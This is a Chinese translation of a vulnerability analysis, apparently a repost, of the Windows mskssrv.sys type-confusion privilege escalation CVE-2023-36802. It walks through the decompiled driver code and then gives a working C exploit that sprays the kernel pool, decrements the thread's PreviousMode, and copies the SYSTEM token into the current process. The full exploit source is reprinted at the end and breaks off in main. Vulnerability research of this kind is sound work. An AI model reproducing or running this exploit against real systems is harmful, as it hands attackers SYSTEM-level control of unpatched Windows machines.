15

Microsoft 流式处理代理权限提升漏洞(CVE-2023-36802)分析

 9 months ago
source link: https://paper.seebug.org/3082/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Microsoft 流式处理代理权限提升漏洞(CVE-2023-36802)分析

2023年11月30日2023年11月30日漏洞分析

原文链接:Microsoft Streaming Service Proxy Elevation of Privilege Vulnerability (CVE-2023-36802)
译者:知道创宇404实验室翻译组

2023年1月10日,MSRC披露了Microsoft Streaming Service Proxy (mskssrv.sys)中的一个提权漏洞。随后,IBM X-Force的@chompie发布了关于该漏洞研究结果。

在该研究中,利用了Yarden Sharif公开的IoRing Primitive中的一个向任意地址写入0x2的漏洞,并将其扩展为向任意地址写入所需数值的Full AAW/AAR。通过这种方式实现了提权。随后,Google的Project Zero分析了此漏洞的In-the-Wild案例并进行了进行了披露

本文将介绍Google Project Zero分析的在野案例的实现过程。

受影响版本

  • mskssrv.sys (~10.0.22621.1848)

在深入分析驱动程序漏洞以触发之前,需要与该驱动程序进行通信。

通常,为了与驱动程序通信,需要了解设备名称以获取句柄,然后使用DeviceIoControl函数触发所需的功能。

为此,通常会分析驱动程序以查看IoCreateDevice的第三个参数DeviceName。但从下面的函数中可以看出,mskssrv.sys驱动程序与通常情况有所不同。

img

系统文件

IoCreateDevice函数的参数显示DeviceName参数为NULL。

另外,从函数名称可以推断出,mskssrv.sys驱动程序是一个即插即用(PnP)驱动程序。要与这种PnP驱动程序通信,需要设备接口路径。

获取设备接口路径有两种方式:一种是使用配置管理器函数,另一种是使用SetupAPI函数。

通过设备管理器查看设备的信息,可以获取与GUID相关的信息。

img
#include <Windows.h>
#include <stdio.h>
#include <cfgmgr32.h>

int main(int argc, char** argv)
{
    GUID class_guid = { 0x3c0d501a, 0x140b, 0x11d1, {0xb4, 0xf, 0x0, 0xa0, 0xc9, 0x22, 0x31, 0x96} };

    WCHAR interface_list[1024] = { 0 };
    CONFIGRET status = CM_Get_Device_Interface_ListW(&class_guid, NULL, interface_list, 1024, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
    if (status != CR_SUCCESS) {
        printf("fail to get path\n");
        return -1;
    }
    WCHAR* currInterface = interface_list;
    while (*currInterface) {
        printf("%ls\n", currInterface);
        currInterface += wcslen(currInterface) + 1;
    }
}

根据获得的GUID信息构建函数,执行后可以获取与mskssrv.sys驱动程序通信的设备接口路径为 \?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}

img

__int64 __fastcall FSRendezvousServer::PublishRx(FSRendezvousServer *pStreamObject, struct _IRP *a2)
{
    ...
    fsRegisterObject = (const struct FSRegObject *)currentIOStackLocation->FileObject->FsContext2;
    foundObject = FSRendezvousServer::FindObject(pStreamObject, fsRegisterObject);                                        // no type check
    KeReleaseMutex((PRKMUTEX)((char *)pStreamObject + 8), 0);
    if ( foundObject )
    {
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 40i64))(fsRegisterObject);
        returnStatus = FSStreamReg::PublishRx(fsRegisterObject, (const struct FSFrameInfo *)associatedMasterIrp);
        if ( returnStatus >= 0 && currentIOStackLocation->Parameters.Create.OutputBufferLength >= 0x18 )
        {
              FSStreamReg::GetStats(fsRegisterObject, (struct FSQueueStats *)a2->AssociatedIrp.MasterIrp);                // type confusion!!
              a2->IoStatus.Information = 24i64;
        }
        (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)fsRegisterObject + 48i64))(fsRegisterObject);
    }
    else
    {
        return 0xC0000010;
    }
    return (unsigned int)returnStatus;
}

mskssrv.sys驱动程序中有两个对象,一个是大小为0x78的FSContextReg对象,另一个是大小为0x1d8的FSStreamReg对象。

FSRendezvousServer::FindObject函数最初设计用于检查是否存在FSStreamReg对象,然后调用下面的FSStreamReg::PublishRx函数。但是,在内部没有检查传入对象的类型的例程。

因此,即使将FSContextReg对象作为参数传递给FSRendezvousServer::FindObject函数,它仍然会返回1,并且通过以下条件,将FSContextReg对象作为参数传递给FSStreamReg::PublishRx函数,从而导致类型混淆(type confusion)漏洞的产生。

__int64 __fastcall FSStreamReg::PublishRx(FSStreamReg *streamRegInstance, const struct FSFrameInfo *frameInfo)
{
    ...
    framesQueuePointer = (_QWORD *)((char *)streamRegInstance + 0x188);                            // out of bound read
    ...
    for ( frameIndex = 0; frameIndex < *((_DWORD *)frameInfo + 9); ++frameIndex )
    {
        if ( (_QWORD *)*framesQueuePointer != framesQueuePointer )
          *((_QWORD *)streamRegInstance + 0x33) = *framesQueuePointer;
        while ( 1 )
        {
          currentFrame = *((_QWORD *)streamRegInstance + 0x33);
          if ( !currentFrame
            || (_QWORD *)*framesQueuePointer == framesQueuePointer
            || (_QWORD *)currentFrame == framesQueuePointer )
          {
            break;
          }
          if ( *(_QWORD *)(currentFrame + 32) == *((_QWORD *)frameInfo + 17 * frameIndex + 6) )
          {
            currentFrameSize = *(_DWORD *)(currentFrame + 0xD0);
            FSFrameMdl::UnmapPages((FSFrameMdl *)currentFrame);
            if ( currentFrameSize )
            {
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 7));
              ObfDereferenceObject(*((PVOID *)streamRegInstance + 0x39));                                // out of bound decrement
            }
            framesUnmappedFlag = 1;
          }
          FSFrameMdlList::MoveNext((FSStreamReg *)((char *)streamRegInstance + 0x140));
        }
    }
    ...
    if ( framesUnmappedFlag )
    {
        keventPointer = (struct _KEVENT *)*((_QWORD *)streamRegInstance + 0x35);
        if ( keventPointer )
          KeSetEvent(keventPointer, 0, 0);
    }
    ...
}

FSStreamReg::PublishRx函数内部,假设传入的对象是大小为0x1D8的FSStreamReg对象,并参考其+0x188、+0x198+0x1C8处的值来执行操作。但是,如果传入的对象是大小为0x78FSContextReg对象,那么就会进行越界操作。

Primitive

FSStreamReg::PublishRx函数中,针对+0x1C8处的地址执行ObfDereferenceObject函数。通过Heap Feng Shui,使得该地址的值可以被控制,ObfDereferenceObject函数将KTHREAD的PreviousMode字段从1减少到0。

如果PreviousMode为0,即内核模式,那么就可以通过NtReadVirtualMemory函数和NtWriteVirtualMemory函数读取和写入内核地址的值。

Exploit flow

使用已知的设备接口路径打开mskssrv.sys驱动程序。

使用NtQuerySystemInformation(SystemExtendedHandleInformation,...)函数获取一些内核地址:

  • 当前KTHREAD地址(PreviousMode的地址)
  • 当前进程和系统进程的EPROCESS地址(当前进程和系统进程的Token地址)
  • mskssrv设备的FILE_OBJECT地址

参考已知的pool spray技术,使用NtFsControlFile函数以0x119ff8 IOCTL0x80大小的pool spray到内核。

关闭几个Pipe来在pool中创建空隙。

调用IOCTL_FS_INIT_CONTEXT IOCTL

  • FSInitializeContextRendezvous函数内部调用FSRendezvousServer::InitializeContext函数以初始化FSContextReg对象,由于FSContextReg对象大小为0x78,它会被分配到我们创建的空隙中。
  • 在另一个线程中调用IOCTL_PUBLISH_RX IOCTL
  • FSStreamReg::PublishRx函数中,本应期望接收大小为0x1d8的FSStreamReg对象,但传入的是大小为0x78的FSContextReg对象,导致针对受控数据执行操作。
  • FSStreamReg::PublishRx函数针对超出FSContextReg对象范围的对象调用ObfDereferenceObject函数,从而使PreviousMode减少为0。

在主线程上执行工作。

  • 通过NtReadVirtualMemory函数循环读取系统进程的令牌。
  • 如果PreviousMode减少为0,则NtReadVirtualMemory函数成功执行。
  • 通过NtWriteVirtualMemory函数将系统进程令牌的值写入当前进程的令牌。
  • 获取FILE_OBJECTFSContext2字段地址以获取FSContextReg的地址。
  • KeSetEvent时,通过ProcessBilledProcessBilled的值避免异常情况发生。
  • 执行后续操作并将PreviousMode恢复为1,实现以系统权限运行命令。

代码利用流程

使用已知的设备接口路径打开mskssrv.sys驱动程序。

hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
    GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    CREATE_NEW,
    0,
    NULL);
  • NtQuerySystemInformation(SystemExtendedHandleInformation,...)使用函数查找一些内核地址
NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
while (status == STATUS_INFO_LENGTH_MISMATCH) {
    free(handleInfo);
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    status = NtQuerySystemInformation(64, handleInfo, len, &len);
}
if (!NT_SUCCESS(status)) {
    printf("\t[-] NtQuerySystemInformation failed\n");
    free(handleInfo);
    return -1;
}

for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
    if (handleInfo->Handles[i].HandleValue == cReg &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
    }
    if (handleInfo->Handles[i].HandleValue == hProc &&
        handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
        cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
        cur_token = cur_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == 4 &&
        handleInfo->Handles[i].HandleValue == 4) {
        system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
        system_token = system_eprocess + 0x4b8;
    }
    if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
        handleInfo->Handles[i].HandleValue == hMainThread) {
        main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
        printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
        main_prevmode = main_kthread + 0x232;
    }
}

64代表SystemExtendedHandleInformation

根据句柄类型,如果是线程句柄,其对应的线程对象地址即KTHREAD的地址;如果是文件句柄,对应的文件对象地址即FILE_OBJECT的地址;如果是进程句柄,对应的进程对象地址即EPROCESS的地址,都会被存储在该句柄的Object字段中。

使用已知的pool spray技术,使用NtFsControlFile函数,并通过0x119ff8 IOCTL进行0x80大小的pool spray。

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}

通过NpInternalWrite而不是WriteFile分配用户数据时,会在pool中分配Buffered Entries。这样会导致在用户数据之前的0x30字节处分配无法控制的DATA_QUEUE_ENTRY到pool中。

然而,如果通过NtFsControlFile函数调用NpInternalWrite,则会分配Unbuffered Entries到pool中。只有用户数据空间会被分配到pool中,使得可以控制空间中的所有值。

在此之前,关闭几个Pipe以在pool中创建空隙。

for (int i = spray_size-0x20;i < spray_size;i += 4)
{
    CloseHandle(tmp[i]);        // create hole
    CloseHandle(hPipeArray[i]);
}
  • IOCTL_FS_INIT_CONTEXT调用IOCTL
DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

调用该函数后,FSContextReg对象将分配到先前创建的空隙中。

接着,另一个线程调用IOCTL_PUBLISH_RX IOCTL

void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

DWORD sep_threadId;
HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);
img

因为InBuf中有一个必须是1或更大的值,所以必须正确匹配。

此外,为了使在+0x1a8处的ProcessBilled值被覆盖为NULL之前,可以无限循环,需要在之前对已经spray到pool的数据进行适当的调整。

FSFrameMdlList::MoveNext函数将+0x198处的值放入+0x198中,并引用该地址执行操作。

为了创建环境,spray如下所示。

img

最理想的情况是,在分配了FSContextReg之后,分配了至少3个pipe缓冲区。

0: kd> !pool rax
Pool page ffff938927724290 region is Nonpaged pool
 ffff938927724000 size:  280 previous size:    0  (Free)       ....
*ffff938927724280 size:   90 previous size:    0  (Allocated) *Creg
        Owning component : Unknown (update pooltag.txt)
 ffff938927724310 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277243a0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724430 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff9389277244c0 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0
 ffff938927724550 size:   90 previous size:    0  (Allocated)  IoSB Process: ffff938926d980c0

在初始spray时,将PreviousMode的地址放置在+0x18处,将0x680x78处的假框架地址进行循环引用,从而形成无限循环,降低PreviousMode可能性。

然而,由于PreviousMode的值为1,ObfDereferenceObject仅执行一次。如果陷入无限循环,它会不断减少。

可以利用currentFrame+0xD0为0时不执行ObfDereferenceObject的特性来解决问题。

首先,在第一个假框架fs1中将+0xD0的值设置为1,并将fs1的地址放置在FSContextReg对象的+0x188处,这将导致执行ObfDereferenceObject

然后,在+0x198处放置fs2的地址,并将fs2的+0xD0设置为0,这样在下一个循环中将不会执行ObfDereferenceObject,而是执行FSFrameMdlList::MoveNext

FSFrameMdlList::MoveNext函数内部,将fs2的最前端地址设置为Next,然后将fs3的地址放置在fs2的最前端。同样地,将fs3的+0xD0的值设置为0,并将fs3的最前端设置为fs2的地址,以形成循环引用。

经过上述步骤,PreviousMode将被降低为0并陷入无限循环。

以下是按照这种条件构建和spray缓冲区的代码。

fake_stream fs1 = { 0 };
fake_stream fs2 = { 0 };
fake_stream fs3 = { 0 };
fs1.data[0] = &fs2;
fs1.data[0x1a] = 0x1;
fs2.data[0] = &fs3;
fs3.data[0] = &fs2;

ULONG_PTR Inbuf[0x20] = { 0 };
Inbuf[3] = main_prevmode + 0x30;
Inbuf[0xd] = &fs1;
Inbuf[0xf] = &fs2;

NTSTATUS s;
HANDLE tmp[SPRAY_SIZE] = { 0 };
for (int i = 0;i < spray_size;i++) {
    hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
        PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

    tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

    s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
    if (!NT_SUCCESS(s)) {
        printf("\t[-] pool spraying failed, %p\n", s);
        return -1;
    }
}

PreviousMode+0x30输入地址的原因

LONG_PTR __stdcall ObfDereferenceObject(PVOID Object)
{
    ...
    if ( ObpTraceFlags )
        ObpPushStackInfo((char *)Object - 48, 0i64, 1i64, 1953261124i64);
    v2 = _InterlockedExchangeAdd64((volatile signed __int64 *)Object - 6, 0xFFFFFFFFFFFFFFFFui64);    // operate -1
    v3 = v2 <= 1;
    BugCheckParameter4 = v2 - 1;
    if ( !v3 )
        return BugCheckParameter4;
    ...
}

ObfDereferenceObject函数执行时,针对传入的Object-0x30值执行了-1操作,因此需要将发现的PreviousMode地址增加0x30,这样才能使PreviousMode的值减1。

在主线程上执行工作

void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

NtReadVirtualMemory持续尝试,直到成功为止。一旦成功,进行令牌复制并进行恢复,从而实现特权升级。

  • 获取FSContextReg对象地址的方法
img

FileObject的地址是通过NtQuerySystemInformation函数获得的,因此只需找到FILE_OBJECT结构中的FsContext2字段的地址即可。

struct _FILE_OBJECT
{
    SHORT Type;                                                             //0x0
    SHORT Size;                                                             //0x2
    struct _DEVICE_OBJECT* DeviceObject;                                    //0x8
    struct _VPB* Vpb;                                                       //0x10
    VOID* FsContext;                                                        //0x18
    VOID* FsContext2;                                                       //0x20 <- here
    struct _SECTION_OBJECT_POINTERS* SectionObjectPointer;                  //0x28
    VOID* PrivateCacheMap;                                                  //0x30
    LONG FinalStatus;                                                       //0x38
    struct _FILE_OBJECT* RelatedFileObject;                                 //0x40
    UCHAR LockOperation;                                                    //0x48
    UCHAR DeletePending;                                                    //0x49
    UCHAR ReadAccess;                                                       //0x4a
    UCHAR WriteAccess;                                                      //0x4b
    UCHAR DeleteAccess;                                                     //0x4c
    UCHAR SharedRead;                                                       //0x4d
    UCHAR SharedWrite;                                                      //0x4e
    UCHAR SharedDelete;                                                     //0x4f
    ULONG Flags;                                                            //0x50
    struct _UNICODE_STRING FileName;                                        //0x58
    union _LARGE_INTEGER CurrentByteOffset;                                 //0x68
    ULONG Waiters;                                                          //0x70
    ULONG Busy;                                                             //0x74
    VOID* LastLock;                                                         //0x78
    struct _KEVENT Lock;                                                    //0x80
    struct _KEVENT Event;                                                   //0x98
    struct _IO_COMPLETION_CONTEXT* CompletionContext;                       //0xb0
    ULONGLONG IrpListLock;                                                  //0xb8
    struct _LIST_ENTRY IrpList;                                             //0xc0
    VOID* FileObjectExtension;                                              //0xd0
};

+0x20存在于偏移处

完整的漏洞利用代码

github地址

#include "defs.h"

#define IOCTL_FS_INIT_CONTEXT    0x2F0400
#define IOCTL_PUBLISH_RX        0x2F040C

#define SPRAY_SIZE 20000

HANDLE hEvent;
ULONG_PTR mskssrv_file_obj;
ULONG_PTR cur_eprocess;
ULONG_PTR cur_token;
ULONG_PTR system_eprocess;
ULONG_PTR system_token;
ULONG_PTR main_kthread;
ULONG_PTR main_prevmode;
HANDLE hMskssrv;
NtWriteVirtualMemoryFunc NtWriteVirtualMemory;
NtReadVirtualMemoryFunc NtReadVirtualMemory;
HANDLE hProc;
HANDLE hMainThread;
HANDLE cReg;
HANDLE hSystem;

typedef struct fake_stream_ {
    ULONG_PTR data[0x3b];
}fake_stream;

void thread_main()
{
    printf("\t[+] Main Thread Start and Wait for Previous mode overwritten to 0\n");
    char leak_prevmode = 1;
    ULONG_PTR junk = 0;
    NTSTATUS status = -1;
    while (!main_prevmode) {
        ;
    }
    ULONG_PTR system_token_val = 0;
    while (status != STATUS_SUCCESS) {
        status = NtReadVirtualMemory(hProc, system_token, &system_token_val, 8, &junk);
    }
    printf("\t\t[+] Overwrite PrevMode Success\n");
    NtWriteVirtualMemory(hProc, cur_token, &system_token_val, 8, &junk);
    printf("\t\t[+] OverWrite Current token to system token done, value: %p\n", system_token_val);
    ULONG_PTR context2 = 0;
    NtReadVirtualMemory(hProc, mskssrv_file_obj + 0x20, &context2, 8, &junk);
    printf("\t\t[+] FsContextReg Object addr: %p\n", context2);
    ULONG_PTR ProcessBilled = 0;
    NtReadVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t[+] ProcessBilled Value: %p\n", ProcessBilled);
    ULONG_PTR null_ = 0;
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &null_, 8, &junk);
    printf("\t\t[+] Overwrite ProcessBilled field to zero done\n");
    NtWriteVirtualMemory(hProc, context2 + 0x198, &null_, 8, &junk);
    printf("\t\t[+] Overwrite FsContextReg object+0x188 to zero to break loop\n");
    WaitForSingleObject(hEvent, INFINITE);

    printf("\t\t[+] Restore Start..\n");
    NtWriteVirtualMemory(hProc, context2 + 0x1a8, &ProcessBilled, 8, &junk);
    printf("\t\t\t[+] Restore ProcessBilled field done\n");
    ULONG_PTR object_header = cur_eprocess - 0x30;
    ULONG_PTR PointerCount = 0;
    printf("\t\t\t[+] Current EPROCESS's OBJECT_HEADER address: %p\n", object_header);
    NtReadVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Ref Count: 0x%p\n", PointerCount);
    PointerCount++;
    NtWriteVirtualMemory(hProc, object_header, &PointerCount, 8, &junk);
    printf("\t\t\t[+] Increment of current EPROCESS object done\n");
    NtWriteVirtualMemory(hProc, main_prevmode, &leak_prevmode, 1, &junk);
    printf("\t\t\t[+] Reset PreviousMode to 1 done\n");
}

void thread_sep()
{
    printf("\t[+] Loop Thread Start..\n");
    ULONG_PTR InBuf[0x20] = { 0 };
    InBuf[4] = 0x100000001;
    DeviceIoControl(cReg, IOCTL_PUBLISH_RX, InBuf, 0x100, NULL, 0, NULL, NULL);
    printf("\t\t[+] Loop thread loop finished..\n");
    SetEvent(hEvent);
}

int main(int argc, char** argv)
{
    printf("[+] Start CVE-2023-36802 Exploit..\n");
    HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtDll) {
        printf("\t[-] Failed to get ntdll handle.\n");
        return -1;
    }

    NtFsControlFileFunc NtFsControlFile = (NtFsControlFileFunc)GetProcAddress(hNtDll, "NtFsControlFile");
    NtReadVirtualMemory = (NtReadVirtualMemoryFunc)GetProcAddress(hNtDll, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (NtWriteVirtualMemoryFunc)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
    if (!NtFsControlFile || !NtReadVirtualMemory || !NtWriteVirtualMemory) {
        printf("\t[-] Failed to get Nt function address.\n");
        return -1;
    }

    // Open mskssrv device
    hMskssrv = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    // Leak required kernel address
    ULONG len = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
    PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
    handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);
    if (!handleInfo) {
        printf("\t[-] Memory allocation failed\n");
        return -1;
    }

    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());
    DWORD main_threadId;
    hMainThread = CreateThread(NULL, 0, thread_main, NULL, 0, &main_threadId);

    cReg = CreateFileA("\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        CREATE_NEW,
        0,
        NULL);

    NTSTATUS status = NtQuerySystemInformation(64, handleInfo, len, &len);    // SystemExtendedHandleInformation
    while (status == STATUS_INFO_LENGTH_MISMATCH) {
        free(handleInfo);
        handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(len);

        if (!handleInfo) {
            printf("\t[-] Memory allocation failed\n");
            return -1;
        }

        status = NtQuerySystemInformation(64, handleInfo, len, &len);
    }
    if (!NT_SUCCESS(status)) {
        printf("\t[-] NtQuerySystemInformation failed\n");
        free(handleInfo);
        return -1;
    }

    for (ULONG_PTR i = 0;i < handleInfo->NumberOfHandles; i++) {
        if (handleInfo->Handles[i].HandleValue == cReg &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            mskssrv_file_obj = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] mskssrv FILE_OBJECT address: %p\n", mskssrv_file_obj);
        }
        if (handleInfo->Handles[i].HandleValue == hProc &&
            handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()) {
            cur_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] Current EPROCESS address: %p\n", cur_eprocess);
            cur_token = cur_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == 4 &&
            handleInfo->Handles[i].HandleValue == 4) {
            system_eprocess = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] System EPROCESS address: %p\n", system_eprocess);
            system_token = system_eprocess + 0x4b8;
        }
        if (handleInfo->Handles[i].UniqueProcessId == GetCurrentProcessId() &&
            handleInfo->Handles[i].HandleValue == hMainThread) {
            main_kthread = (ULONG_PTR)handleInfo->Handles[i].Object;
            printf("\t[+] main thread KTHREAD address: %p\n", main_kthread);
            main_prevmode = main_kthread + 0x232;
        }
    }

    // Spraying pool
    DWORD spray_size = SPRAY_SIZE;
    PHANDLE hPipeArray = malloc(sizeof(HANDLE) * spray_size);
    PHANDLE hFileArray = malloc(sizeof(HANDLE) * spray_size);
    IO_STATUS_BLOCK isb;

    fake_stream fs1 = { 0 };
    fake_stream fs2 = { 0 };
    fake_stream fs3 = { 0 };
    fs1.data[0] = &fs2;
    fs1.data[0x1a] = 0x1;
    fs2.data[0] = &fs3;
    fs3.data[0] = &fs2;

    ULONG_PTR Inbuf[0x20] = { 0 };
    Inbuf[3] = main_prevmode + 0x30;
    Inbuf[0xd] = &fs1;
    Inbuf[0xf] = &fs2;

    NTSTATUS s;
    HANDLE tmp[SPRAY_SIZE] = { 0 };
    for (int i = 0;i < spray_size;i++) {
        hPipeArray[i] = CreateNamedPipeW(L"\\\\.\\pipe\\ex", PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
            PIPE_TYPE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 0x30, 0x30, 0, 0);

        tmp[i] = CreateFile(L"\\\\.\\pipe\\ex", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

        s = NtFsControlFile(hPipeArray[i], 0, 0, 0, &isb, 0x119ff8, Inbuf, 0x80, 0, 0); //NpInternalWrite
        if (!NT_SUCCESS(s)) {
            printf("\t[-] pool spraying failed, %p\n", s);
            return -1;
        }
    }

    //Create Holes
    for (int i = spray_size-0x20;i < spray_size;i += 4)
    {
        CloseHandle(tmp[i]);        // create hole
        CloseHandle(hPipeArray[i]);
    }

    ULONG_PTR InitBuf[0x20] = { 0 };
    InitBuf[0] = 0xdeadbeef;            // &1 != 0
    InitBuf[1] = 0xdeadbeef1;            // non-zero value
    InitBuf[2] = 0xdeadbeef2;            // non-zero value
                                        // InitBuf[3] = 0

    // Put FsContextReg in Hole
    DeviceIoControl(cReg, IOCTL_FS_INIT_CONTEXT, InitBuf, 0x100, NULL, 0, NULL, NULL);

    DWORD sep_threadId;
    HANDLE hSepThread = CreateThread(NULL, 0, thread_sep, NULL, 0, &sep_threadId);

    WaitForSingleObject(hMainThread, INFINITE);
